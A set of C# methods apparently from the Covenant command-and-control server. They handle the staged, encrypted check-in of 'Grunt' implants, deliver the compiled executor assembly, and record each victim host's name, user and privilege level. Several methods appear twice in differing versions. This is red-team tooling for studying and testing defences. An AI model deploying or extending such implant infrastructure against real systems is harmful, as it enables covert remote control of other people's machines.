private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); // todo: try/catch on deserialize? Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message); targetGrunt.IpAddress = grunt.IPAddress; targetGrunt.Hostname = grunt.Hostname; targetGrunt.OperatingSystem = grunt.OperatingSystem; targetGrunt.UserDomainName = grunt.UserDomainName; targetGrunt.UserName = grunt.UserName; targetGrunt.Status = GruntStatus.Active; targetGrunt.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); targetGrunt.Process = grunt.Process; realGrunt.LastCheckIn = DateTime.UtcNow; CovenantClient.ApiGruntsPut(targetGrunt); GruntTaskingMessage tasking = new GruntTaskingMessage { Message = targetGrunt.CookieAuthKey, Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10), Type = GruntTaskingType.Jobs, Token = false }; Models.Grunts.GruntEncryptedMessage responseMessage = null; try { responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) { API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); // todo: try/catch on deserialize? Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message); gruntModel.IpAddress = grunt.IPAddress; gruntModel.OperatingSystem = grunt.OperatingSystem; gruntModel.UserDomainName = grunt.UserDomainName; gruntModel.UserName = grunt.UserName; gruntModel.Status = GruntStatus.Active; gruntModel.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); gruntModel.Process = grunt.Process; CovenantClient.ApiGruntsPut(gruntModel); CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!", Level = EventLevel.Highlight, Context = "*" }); var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create( Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey) ); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; realGrunt.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly)); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" return(Ok(response)); }
private ActionResult PostStage1(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; realGrunt.LastCheckIn = DateTime.UtcNow; CovenantClient.ApiGruntsPut(realGrunt.ToModel()); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray()); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" return(Ok(response)); }
private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray()); string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; CovenantClient.ApiGruntsPut(realGrunt.ToModel()); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly)); string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }